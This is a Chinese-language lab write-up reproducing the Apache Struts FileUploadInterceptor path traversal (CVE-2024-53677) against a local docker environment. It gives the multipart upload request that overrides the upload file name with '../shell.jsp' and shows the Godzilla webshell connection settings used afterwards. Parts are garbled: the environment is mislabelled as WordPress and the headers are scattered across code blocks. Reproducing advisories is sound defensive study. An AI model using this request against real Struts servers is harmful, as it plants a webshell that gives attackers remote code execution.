

# Apache Struts FileUploadInterceptor 文件上传漏洞 (CVE-2024-53677)

Apache Struts 的文件上传逻辑中存在漏洞，若代码中使用了 FileUploadInterceptor，当进行文件上传时，攻击者可能构造恶意请求利用目录遍历等上传文件至其他目录。如果成功利用，攻击者可能能够执行远程代码、获取敏感数据、破坏网站内容或进行其他恶意活动。

## 测试环境

执行如下命令启动一个WordPress漏洞环境：

```
docker compose up -d
```

访问 <http://127.0.0.1:8080/upload.action> 发现文件上传接口



环境搭建好后首先随意上传一张图片，这一步的步骤是创建一个uploads文件夹，方便后续漏洞利用。



## 影响版本

- Struts 2.0.0 - Struts 2.3.37
- Struts 2.5.0- Struts 2.5.33
- Struts 6.0.0- Struts 6.3.0.2

## 漏洞复现

### ① Note

首先需要明确一点，为了简化本次漏洞复现的复杂度，本次没有对文件上传的后缀进行校验。这就意味着如果你直接上传恶意代码到uploads文件夹也是可以成功的。但为了学习了解这个漏洞，你需要做的是把恶意文件上传到uploads的上一级目录即ROOT目录下。

```
POST /upload.action HTTP/1.1
```

```
Host: 127.0.0.1:8080
```

```
Content-Type: multipart/form-data; boundary=-----  
-----10646135771952845599584984154
```

```
Content-Length: 363
```

-----10646135771952845599584984154

Content-Disposition: form-data; name="Upload";  
filename="test.txt"

Content-Type: text/plain

## PAYOUT

-----10646135771952845599584984154

Content-Disposition: form-data; name="top.UploadFileName";

../shell.jsp

-----10646135771952845599584984154--

The screenshot shows a NetworkMiner capture window with three panels: Request, Response, and Inspector.

**Request:** A POST request to `/upload.action` with the following details:

- Content-Type: multipart/form-data;
- boundary=-----10646135771952845599584984154
- Content-Length: 2975
- Content-Disposition: form-data; name="Upload"; filename="test.txt"
- Content-Type: text/plain

The payload is a Java exploit (base64 encoded) designed to upload a shell.jsp file to the server.

**Response:** An HTTP 200 OK response with the following details:

- Vary: Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,Sec-Fetch-User
- Cross-Origin-Embedder-Policy-Report-Only: require-corp
- Set-Cookie: JSESSIONID=A426457551BC5FCF164589B46FCA115F; Path=/; HttpOnly
- Content-Type: text/html; charset=UTF-8
- Content-Language: en-US
- Content-Length: 324
- Date: Fri, 20 Dec 2024 06:48:05 GMT

The response body contains an HTML page indicating the file was uploaded successfully and includes a link to the uploaded shell.jsp file.

**Inspector:** Shows the following details:

- Request attributes: 2
- Request query parameters: 0
- Request body parameters: 2
- Request cookies: 0
- Request headers: 3
- Response headers: 8

成功连上哥斯拉

## Shell Setting

Basic Configuration

Request configuration

URL

http://127.0.0.1:8080/shell.jsp

Password

pass

Key

key

Connection timeout

3000

Read timeout

Prompt

Proxy host

Success!

Proxy port

确定

Remarks

/

GROUP

NO\_PROXY

Proxy type

UTF-8

Encoding

JavaDynamicPayload

Payload

JAVA\_AES\_BASE64

Encryptor

Modify

Test connection